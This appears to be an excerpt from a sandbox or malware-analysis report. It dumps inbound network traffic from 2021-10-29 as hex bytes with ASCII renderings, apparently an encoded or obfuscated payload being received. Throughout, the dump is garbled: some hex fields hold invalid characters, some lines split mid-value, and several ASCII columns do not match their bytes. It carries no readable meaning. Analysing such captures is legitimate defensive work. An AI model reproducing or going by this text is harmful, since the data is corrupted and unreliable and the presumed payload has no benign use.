4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59
20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52
20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 5
9 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b
20 4f 4f 4b 20 4f 6f 74 20 4f 4f
Data Ascii: Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox 00Y kY 0oR Yx Kk Yx Yo Kt Oxo
OO0t OxQ OOR YE YR OxR OkY Oxx OOK OOt OO0 OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo
OEY OxQ OO0 YK oK Y YK kK Oox R kY OO0 Yx Yk oR kk kk OOK Oot OO

2021-10-29 18:29:21 UTC 1736 IN Data Raw: 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b
4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51
20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45
2052 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74
74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51
20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 20 59 4b 20 6b 78 20 74 4b 20 6f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20
74 45 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f
Data Ascii: 0Qo YK kK OOk QE Qx OO0 Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY
YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook
OO0t OxQ 000 tQ oK Yx YK kx tK oEY OxQ OO0 Yx Yx tE Yt kK OOK O

2021-10-29 18:29:21 UTC 1740 IN Data Raw: 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f
4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20
4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20
6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 7
851 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51
2059 78 20 52 78 20 6b 6f 20 4f 78 78 20 6f 45 51 20 4f 78 74 20 4f 78 45 20 4f 52 6b 20 6f 4b 20 6b 4f 20 59 4b 20 6b 4b
20 4f 6f 78 20 51 45 20 4f 4f
Data Ascii: OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OO0 Rt Kk Yx YK
OO0 OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK
OOK Oot OXE E YO KQ Yx Rx ko Oxx oEQ Oxt OXE ORk oK kO YK kK Oox QE OO
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1744 IN Data Raw: 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78
20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74
20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 2(
45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59
20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f
4f 74 20 4f 78 51 20 4f 78 74 20 59 6b 20 6f 74 20 45 52 20 4b 6b 20 4f 74 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 4f 20 4f 4f 6f
2059 6f 20 52 74 20 4b 74
Data Ascii: XQ QO oE 0Q Ro OR tx OO0 OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kk OO OoO
OOE Yx Yo oxK Kk to OO0 OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OO0 YK oK KY YK kK kQ kx RK OoK ox EK Kk
oxx RY RY OOt OxQ Oxt Yk ot ER Kk Otx OOR OxQ OO0 OOo Yo Rt Kt

2021-10-29 18:29:21 UTC 1748 IN Data Raw: 20 45 52 20 6f 52 20 4f 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 45 6b
20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 45 20 4b 78 20 45 74 20 45 4b 20 4f 6f 4b 20 6f 78
52 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 45 6f 20 52 4b 20 51 78 20 6f 78 4f 20 4f 78 51 20 4f
4f 6f 20 59 52 20 4f 4b 52 20 6f 52 20 4f 45 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 4f 20 4b 6b 20 59
52 20 4f 6b 6f 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 4b 74 20 4b 51 20 59 78 20 59 78 20 4b 74 20 4b 6b
20 4f 4f 52 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 59 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 6f 20 51 51 20 4f 6f 45 20 45 20 4f
4f 45 20 4b 51 20 59 78 20 52
Data Ascii: ER oR OEk kk OOK Oot oxt kY Et EQ Ek Ex oEo OOK OOt OXE 00x oE Kx Et EK OoK oxR OOt OxQ Ooo
OKK 00 KE Eo RK Qx 0xO OxQ OO0 YR OKR oR OEQ kK OOK Oot RQ KQ YO Kk YR Oko tE OOY OOt OXY OK Kt KQ
Yx Yx Kt Kk OOR OxQ Oo0 tR KY YO YK kx Ooo QQ OoE E OOE KQ Yx R

2021-10-29 18:29:21 UTC 1752 IN Data Raw: 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 59 78 20 74 74 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f
52 20 4f 4f 4f 20 4f 4f 6f 20 6f 6b 20 4b 6b 20 4f 78 6b 20 4f 6b 52 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 59 78 20 59 78 20 4f 74 20 6b 4b 20 45 20 6f 45 74 20 4f 78 51 20 4f 6f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b
20 6b 52 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 6f 4b 4b 20 4f 59 78 20 4b 6b 20 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 59 6f 20 4f 45 4b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 2
0 59 4f 20 4b 45 20 6f 20 59 4f 20 6b 4b 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6f 4f 20 4b 6b 20 59 78 20 45
51 20 45 51 20 6f 4f 52 20 4f
Data Ascii: K OOK to OxQ Yx tt Kk KQ Rx kk OOK OOR OOO OO0 ok Kk Oxk OkR kK Oox OOt OxQ OO0 Yx Yx Yx Ot
kK E oEt OxQ Ooo Yx Kk Yx YK kR OOK kY OxQ oKK OYx Kk YR YK kK OOK OOt OxQ OO0 Yo Kk OYo OEK kK OOE
Oot OxQ 000 YO KE 0 YO kK ORY OOt OxQ OO0 000 Kk Yx EQ EQ 0OR O

2021-10-29 18:29:21 UTC 1756 IN Data Raw: 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f
4f 74 20 52 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 6b 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59
4b 20 59 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 4f 20 4f 4f 4b 20 6f 4b 78 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 4
f 6f 74 20 59 78 20 59 4b 20 52 51 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4f 6b 20 4f 6b 74 20 6b 4b
20 4f 4f 4b 20 4f 4f 74 20 6f
Data Ascii: K OOK OOt OxQ OOK Yx Kk Yx OY kk OOK OOt RK OOE Yx Kk kK YY kK OOK Oot OxQ OO0 Yx Kk Yx YK
kK OOK OOt OxQ OO0 Yo Kk Yx YK YR OOY OOt OxQ o YO Kk Yx YE kk OOK OOt OxE OO0 Yx KQ KO R kO OOK
0oKx OO0 000 Yx Oot Yx YK RQ O 00x OxQ OO0 YR Yk Ok Okt kk OOK OOt o

2021-10-29 18:29:21 UTC 1760 IN Data Raw: 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f
74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78
20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f
4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f
4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78
2052 78 20 51 4b 20 4f 78 51 20 74 78 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 52 59 20
4Af 4f 74 20 4f 78 51 20 4f 4f 52
Data Ascii: xk OO0 YR Kk Yx YK kk OO0 OOt ER OO0 Otk oKQ Yx Rx kk OOK OOt OxQ OOK Yx OOK Yx ORY OoQ
OOK Oot OxQ 000 Yx Kk Yx YK ko OOK OtK OKx OO0 KQ Yk Yx YK kY OxY RQ OxK OO0 Oxk KQ Yx YK K OOK OOt
OoK E OKQ Kk Yx Rx QK OxQ tx 00K Ko Yx Kk YO OQ OEo ORY OOt OxQ OOR

2021-10-29 18:29:21 UTC 1764 IN Data Raw: 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20
59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f
4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20
45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20
45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b
20 4f 4f 51 20 52 51 20 4f 52 6f 20 59 78 20 4b 6b 20 59 52 20 59 6b 20 52 52 20 4f 6f 74 20 74 74 20 4f 6f 4b 20 4f 4f 45
20 59 78 20 4b 6b 20 59 6b 20 52
Data Ascii: YR Rt Ox YK kK Oox oR Okk OO0 Yx Yk Yo KO Qx oYY Kt OxQ OO0 YO 00 00R oKY kk OOK OOE RQ tO
Yx Kk YR RQ Oxk OOK OOt OXE EO oot Kk Yx Rx EQ 0OE OOt OxQ Ooo0 Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk
KQ OoR OOK O0Q RQ ORo Yx Kk YR Yk RR Oot tt OoK OOE Yx Kk Yk R

2021-10-29 18:29:21 UTC 1768 IN Data Raw: 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20
6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52
59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b
20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51
6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 7
859 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 74 4f 20 6b 6f 20 4b 6b 20 59 4f 20 74
51 20 4f 20 6b 4b 20 4f 4f 4b 20
Data Ascii: OO0 Yx Yo oK ox kR OOE k QK OO0 Yx Yo oK Kx kR Q RY OxQ OO0 YK oR OR Yo kt OY RY OxQ OO0 YK
oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk
OOK OO0t OxY Qx KK Yx tE O kk OOK OOE tO ko Kk YO tQ O kk OOK

2021-10-29 18:29:21 UTC 1772 IN Data Raw: 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20
51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f
52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20
4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20
51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 52
20 6b 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 78 20 4b 6b 20 74 59 20 74 74 20 59 4b 20 6b 4b 20 4f 4f 6b 20
51 59 20 74 51 20 4f 4f 4b 20 4b
Data Ascii: YK kx OO0 QE OY OO0 Yx Yk oK Kx kR Q Q OxQ OO0 YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY
OO0t OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY
Qx KK Yx oR kK kK OOK Oot tO OOx Kk tY tt YK kk OOk QY tQ OOK K
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1776 IN Data Raw: 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f
45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f
74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20
6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59
20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f
4b 20 4f 6f 74 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20
59 6b 20 4b 74 20 6f 78 20 4f 6b
Data Ascii: t YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx 00OY Oxk OO0 YR Ox Oox 0xO OtO OKO OtO QQ
Qk Kk 0xR ER OOK kK OOK OOx 0 OoE Yx Kk YR oEK kR O oEk Oxk OO0 Yo EY Yk EQ Qo Qx Q OxQ OO0 YR YY
QE Ott kk OOK Oot 0 x Yx Kk YR kQ oKR OOY OOt Oxt Qt Yk Kt ox Ok

2021-10-29 18:29:21 UTC 1780 IN Data Raw: 20 4f 51 45 20 4f 4f 51 20 4f 4f 6b 20 59 78 20 45 78 20 59 4b 20 4f 45 78 20 74 6b 20 4f 4f 52 20 4f 4f 74 20 74
74 20 4f 4f 52 20 4f 45 4b 20 4b 6f 20 6f 51 20 59 4b 20 6f 4f 59 20 74 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 6f
59 4f 20 6f 51 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 74 51 20 6b 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 45
4b 20 4f 4f 45 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 4b 78 20 59 6f 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f
6f 20 6b 59 20 4f 4b 51 20 59 20 52 78 20 59 4b 20 6f 6f 4b 20 52 74 20 4f 74 78 20 74 78 20 4f 4f 6b 20 59 78 20 6f 78 4b
20 4f 20 74 6f 20 4f 4f 78 20 4f 4f 52 20 4f 4f 74 20 6f 59 6f 20 6b 78 20 6b 51 20 6f 6b 20 52 78 20 59 4b 20 4f 74 74 20 4f
7851204f7478207478
Data Ascii: OQE OOQ OOk Yx Ex YK OEx tk OOR OOt tt OOR OEK Ko 0Q YK 00Y tx OOt OxQ OOk Yx oYO 0Q QE
Oox OOR OOt tQ ko kQ ok Yo YK OEK OOE Ex RY OOk Yx OKx Yo QE Oox OOR OOt 00 kY OKQ Y Rx YK 00K Rt Otx
tx OOk Yx oxK O to OOx OOR OOt oYo kx kQ ok Rx YK Ott OxQ Otx tx

2021-10-29 18:29:21 UTC 1784 IN Data Raw: 6f 59 20 4f 4f 6f 20 51 59 20 6f 20 59 78 20 59 4b 20 4f 78 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 78 51 20 6f 45 20 59
78 20 4b 51 20 59 4f 20 59 4b 20 6b 4b 20 4f 52 45 20 74 45 20 4f 78 51 20 4f 4f 6f 20 51 59 20 4b 6b 20 59 51 20 59 4b
20 6f 4f 45 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 51 52 20 59 78 20 4f 74 52 20 4f 74 20 59 4b 20 6b 4b 20 51 4f 20 4f 4f
74 20 Af 78 78 20 4f 4f 6f 20 4f 6b 45 20 4b 6b 20 4f 74 51 20 59 59 20 52 6b 20 4f 4f 4b 20 74 6b 20 4b 52 20 4f 4f 6f 20
59 78 20 6f 59 20 59 78 20 52 4f 20 6b 4b 20 6f 4b 51 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 52 6f 20
74 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6b 6b 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f
4f 74 20 4f 52 78 20 6b 6b 20 59 78 20
Data Ascii: 0Y OO0 QY 0 Yx YK OxK OOK OoK OxQ oE Yx KQ YO YK kK ORE tE OxQ OOo QY Kk YQ YK 0OE OOK o
KK OxQ QR Yx OtR Ot YK kK QO OOt Oxx OO0 OKE Kk OtQ YY Rk OOK tk KR OO0 Yx oY Yx RO kK oKQ OOt oER O
OE EK Kk ORo t kk OOK Qo OxQ OoE Yx Okk Yx OKE kY Qk OOt ORx kk Yx

2021-10-29 18:29:21 UTC 1788 IN Data Raw: 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 52 20 4f 4f 52 20 74 6f 20 4f 4f 4b 20 45 45 20 4b 51 20 59 78 20 59 4b
20 4f 78 20 4f 6f 45 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 78 20 59 4f 20 4f 51 20 6b 52 20 51 74 20 4f 4f 52 20 4f
78 51 20 4f 4f 6f 20 74 4f 20 52 45 20 59 78 20 59 4b 20 4f 45 20 4f 4f 59 20 6b 4f 20 4f 78 6b 20 6b 59 20 4b 6b 20 45 59
20 59 4f 20 59 4b 20 6b 4b 20 6f 4b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 4b 51 20 6f 6f 20 59 59 20 4f 4f 45
20 4f 4f 6f 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 45 20 59 59 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 2
0 4f 4f 45 20 6f 45 20 59 78 20 45 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 51 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20
59 4f 20 4f 6b 20 6b 59 20 6b
Data Ascii: k Yx OO0 kY kR OOR to OOK EE KQ Yx YK Ox OoE OOt OxQ KO YO ox YO OQ kR Qt OOR OxQ OOo tO
RE Yx YK OE OOY kO Oxk kY Kk EY YO YK kK oKR OOt OxQ OO0 Oxt KQ 0o YY OOE OO0 Oxo Oxk OO0 Yx YE YY
YK kK KE OOR tE OOE oE Yx EE YY kK OOK 0EO Qk OO0 Yx OxY YO Ok kY k

2021-10-29 18:29:21 UTC 1792 IN Data Raw: 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59
20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20
Af Af 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f
20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b
20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74
20 6f 45 78 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 51 52 20 59 52 20 4f 74 4b 20 52 51 20 52 59 20 4f 4f 52 20 6f 45 4f 20 4f 6f
52 20 4f 74 59 20 45 45
Data Ascii: 0EQ Eo YO YK Okk OxY 000 OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OO0 Ox Oo
K OOE Yx OkR Kt OKK kK RY OOR 000 OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx O0Q
Okk EE O YY OtK Oot 0oEx OoK Rt YO OQR YR OtK RQ RY OOR 0EO OoR OtY EE

2021-10-29 18:29:21 UTC 1796 IN Data Raw: 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74
20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b
20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20
6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f
78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 2C
4f 4f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 6f 6f 6f 20 6f 4f 20 6f 78 74 20 45 45 20 51 20 6b 4b
20 4f 4b 20 74 6b 20 4f 78 51
Data Ascii: QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OO0 ORK Kk OQt Q Okx
Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ 0OE EY Ox YK Oo to OOt OxQ OO0 Yx Ott Yx kt OxY OEx Oxo kt OO
0 OK OO Yx YK kK OOK oKK OxQ 000 00 oxt EE Q kK OK tk OxQ

2021-10-29 18:29:21 UTC 1800 IN Data Raw: 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f
2059 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b
20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b
74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59
